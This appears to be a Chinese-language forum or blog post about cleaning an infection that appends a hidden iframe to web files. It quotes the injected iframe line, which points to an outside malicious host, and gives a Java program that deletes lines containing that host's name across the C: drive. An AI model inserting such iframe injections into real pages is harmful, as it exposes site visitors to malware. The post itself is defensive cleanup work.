最近感染了一个病毒,也说不上是啥毒,反正所有的.html,.htm,.jsp文件一经被IE执行，它都会在文件的尾部加上一句类似这样一句代码“<
IFRAME ID=IFrame1 FRAMEBORDER=0 SCROLLING=NO SRC="http://www.puma166.com/...."></
IFRAME >
”;杀毒软件是不能帮我把它从文件中删除了，自己写了一段程序来实现。
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
public class Test {
private static String feature = "puma166";// the special string which indicate that we will remove this line
private static String filetypes = "#.htm#.html#.jsp#.asp#.aspx#";
public static void moveAntivus(String filename,String feature) throws Exception{
FileReader fr = new FileReader(filename);
String tmpFileName = filename+"_tmp";
BufferedReader br = new BufferedReader(fr);
String line = "";
FileWriter fw ;
while ((line=br.readLine()) != null) {
if(line.trim().indexOf(feature)<0){
fw = new FileWriter(new File(tmpFileName),true);
fw.write(line+"\n");
fw.close();
}
}
fr.close();
File file = new File(filename);
file.delete();
new File(tmpFileName).renameTo(new File(filename));
}
public static void scanFile(File file){
if(file.getName().indexOf(".")<0)
return;
try {
String ext = file.getName().substring(file.getName().lastIndexOf("."));
if(filetypes.indexOf(ext)>0){
moveAntivus(file.getAbsolutePath(),feature);
System.out.println(file.getAbsolutePath());
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static void scanDir(File dir){
File[] files = dir.listFiles();
for(int i=0;i<files.length;i++){
if(files[i].isDirectory()){
scanDir(files[i]);
}else{
scanFile(files[i]);
}
}
}
public static void main(String[] args){
Test.scanDir(new File("C:\\"));//扫描c盘；
}
}